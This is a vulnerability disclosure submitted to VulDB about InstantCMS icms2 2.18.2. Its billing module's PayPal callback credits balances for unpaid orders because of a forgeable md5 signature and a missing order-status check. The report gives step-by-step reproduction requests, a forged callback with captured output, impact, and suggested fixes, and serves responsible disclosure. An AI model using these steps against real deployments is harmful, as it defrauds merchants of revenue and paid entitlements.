Gửi #954261: InstantCMS InstantCMS icms2 2.18.2 Insufficient Verification of Data Authenticitythông tin

tiêu đềInstantCMS InstantCMS icms2 2.18.2 Insufficient Verification of Data Authenticity
Mô tả# Billing: PayPal "verification" credits an unbought order (missing order-status check + forgeable signature) - **Project:** instantsoft/icms2 (InstantCMS, open-source GPLv3) - **Affected version:** 2.18.2 (`3c7dd20e`) — billing module, PayPal payment system - **Endpoint:** `system/controllers/billing/actions/paypal.php` — `action=check` callback - **Auth required:** any logged-in user; CSRF/CSRF check absent on the callback - **CWE-345:** Insufficient Verification of Data Authenticity (payment confirmation forged / unbought order credited) - **Date confirmed:** 2026-08-29 (live PoC against a mock PayPal API, video + stills in this package) ## Summary The billing module's PayPal flow credits a user's balance without ever confirming that the PayPal order was **paid**. Three stacked weaknesses: 1. **Signature from public data.** The per-operation "signature" is ```php correct_sig = md5($order_id . ':' . $amount . ':' . $client_id); ``` (`system/fields/paypal.php:34`). The PayPal **`client_id` is inherently public** — the merchant ships it to the browser in the Smart Button SDK URL and it appears in the pay page. `order_id` is the sequential `billing_log.id`. Any user (or even a passive reader of the pay page) can recompute the sig. In practice the page hands it over pre-computed: `data-bid-sig="..."` on the render. 2. **No PayPal order-status check.** `validatePaypalOrder()` (`actions/paypal.php:96-122`) compares only `purchase_units[0].amount.value` against the expected sum. It **never checks `order.status`** (CREATED / APPROVED / COMPLETED / CAPTURED). An order the buyer never authorized or paid is accepted as "verified". 3. **`acceptPayment()` no-precondition credit.** `system/controllers/billing/model.php:170-192` flips the operation to DONE and adds the sum to the balance without any payment-status precondition, and the callback has no CSRF guard (AJAX flag + sig only). Bonus: both outgoing PayPal API calls run with `CURLOPT_SSL_VERIFYPEER, false` (`actions/paypal.php:101,129`). ## Affected code ```php // system/controllers/billing/actions/paypal.php:62-77 $order_id = trim($this->request->get('bid')); $amount = ...; // expected sum for the operation $client_id = $system['options']['client_id']; $correct_sig = md5($order_id . ':' . $amount . ':' . $client_id); if ($this->request->get('sig') !== $correct_sig) { ... error ... } // :96-122 validatePaypalOrder(): GET /v2/checkout/orders/<pid> // checks amount equality only; order status ignored // :client side 'check' handler -> acceptPayment() ``` ## Steps To Reproduce (verified transcript, live against a mock PayPal API) Test rig: `cms_billing_systems` row `paypal` enabled with `payment_url = http://127.0.0.1:9002`; mock PayPal REST API with `POST /v1/oauth2/token/` → fake token, `GET /v2/checkout/orders/<id>` → `status=CREATED`, amount `500.00` USD — i.e., the **worst legitimate outcome: the buyer never pressed "Pay"**. 1. Merchant-side config in DB (`cms_billing_systems`): ``` client_id = PAYPAL-CLIENT-ID-PUBLIC-DEMO (public anyway — ships to the browser SDK) secret = PAYPAL-SECRET-fake payment_url = http://127.0.0.1:9002 ``` 2. Attacker requests a 500-unit top-up (open registration ⇒ attacker self-registers; deposit page is member-only): ``` POST /billing/order csrf_token=<session token>&amount=500&system=paypal&submit=1 → operation created (billing_log id=N, status 0/CREATED, summ 500.00) ``` The pay page already contains the "signature" the attacker needs to confirm payment: ``` data-amount="500.00" data-bid="<N>" data-bid-sig="<md5(N:500.00:PAYPAL-CLIENT-ID-PUBLIC-DEMO)>" ``` `md5("<N>:500.00:PAYPAL-CLIENT-ID-PUBLIC-DEMO")` reproduces the server's value exactly. 3. Attacker fires the payment-confirmation callback with a PayPal order **that was never paid**: ``` GET /billing/paypal?action=check&bid=<N>&pid=NOT-PAID-001&sig=<from step 2> [X-Requested-With: XMLHttpRequest] → {"success":true,"error":false,"url":"/billing/success/paypal?order_id=<N>"} ``` 4. Evidence (mock log + DB): ``` MOCK-PAYPAL: OAuth token issued (no real PayPal credentials used) MOCK-PAYPAL: order NOT-PAID-001 status=CREATED amount=500.00 USD (NEVER PAID) DB billing_log: id=<N> status 0 → 1 (DONE) DB cms_users : user balance 0.00 → 500.00 ``` Balance credited with **zero payments** and the PayPal order explicitly reported as `CREATED`. ## Impact - Free balance credit / plan purchase without payment, repeatable per account (scriptable). - If the billing module grants plans/access for real-money sums, this is a direct revenue/entitlement bypass; combined with the default self-registration it is attacker-unauthenticated in effect. - Only exploitable when the PayPal payment system is *enabled* as a billing option (a normal production state; no real PayPal credentials are needed to abuse it). ## Severity assessment - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = **8.1 (High)**, gated on the PayPal system being enabled. ## Suggested Fix - Before crediting, require `order.status === 'COMPLETED'` (or verify a successful capture: `purchase_units[0].payments.captures[0].status === 'COMPLETED'`) — never accept `CREATED`/`APPROVED` alone. - Derive the confirmation from an opaque, server-side nonce stored with the operation — never from the public `client_id`. - Add authentication (the operation must belong to the session user) and a CSRF token to the `check` callback; enforce idempotency in `acceptPayment()`. - Drop `CURLOPT_SSL_VERIFYPEER=false` on the PayPal API calls.
Người dùng
 EVIL0RD (UID 100889)
Đệ trình31/08/2026 18:13 (cách đây 1 tháng)
Kiểm duyệt10/10/2026 17:04 (1 month later)
Trạng tháiđược chấp nhận
Mục VulDB416225 [InstantSoft icms2 đến 2.18.2 Billing paypal.php validatePaypalOrder bid/sig xác thực yếu]
điểm17

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!